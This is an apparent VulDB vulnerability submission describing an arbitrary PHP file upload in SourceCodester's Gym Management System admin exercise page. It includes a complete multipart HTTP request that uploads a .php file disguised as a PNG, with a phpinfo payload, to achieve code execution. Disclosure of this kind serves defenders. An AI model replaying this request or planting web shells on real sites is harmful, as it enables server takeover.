提出 #43288: Gym Management System Background management Insert Exercises Upload any file getshell

info:Gym Management System Background management insert exercises to upload arbitrary files getshell
First write information on the page, upload image attachments, modify the php suffix to capture the package, modify the content to malicious code, you can implement getshell,
Last access path: /admin/exercise_images/[uploaded attachment name].php
The RCE effect can be achieved.

payload：
POST /admin/add_exercises.php HTTP/1.1
Host: 192.168.153.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------102894582020948544771228937950
Content-Length: 867
Origin: http://192.168.153.1:8090
Connection: close
Referer: http://192.168.153.1:8090/admin/add_exercises.php
Cookie: PHPSESSID=jnf3qoj22hdbq8dh1k2k1och1i
Upgrade-Insecure-Requests: 1

-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="user"

Select a User
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="day"

Select a day
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="exercise"

qqqqqqqqqqqq
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="sets"

qqqqqqqqqqqq
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="exer_img"; filename="123.php"
Content-Type: image/png

<?php phpinfo();?>‚
-----------------------------102894582020948544771228937950
Content-Disposition: form-data; name="insert_workout"

Assign Workout
-----------------------------102894582020948544771228937950--

• ソース: ⚠️ www.sourcecodester.com/php/15515/gym-management-system-project-php.html
• ユーザー: jsbae3449 (UID 30775)
• 送信: 2022年08月10日 05:45 (4 年 ago)
• モデレーション: 2022年08月10日 07:12 (1 hour later)
• ステータス: 承諾済み
• VulDBエントリ: 206012 [SourceCodester Gym Management System Background Management /admin/add_exercises.php exer_img 特権昇格]
• ポイント: 17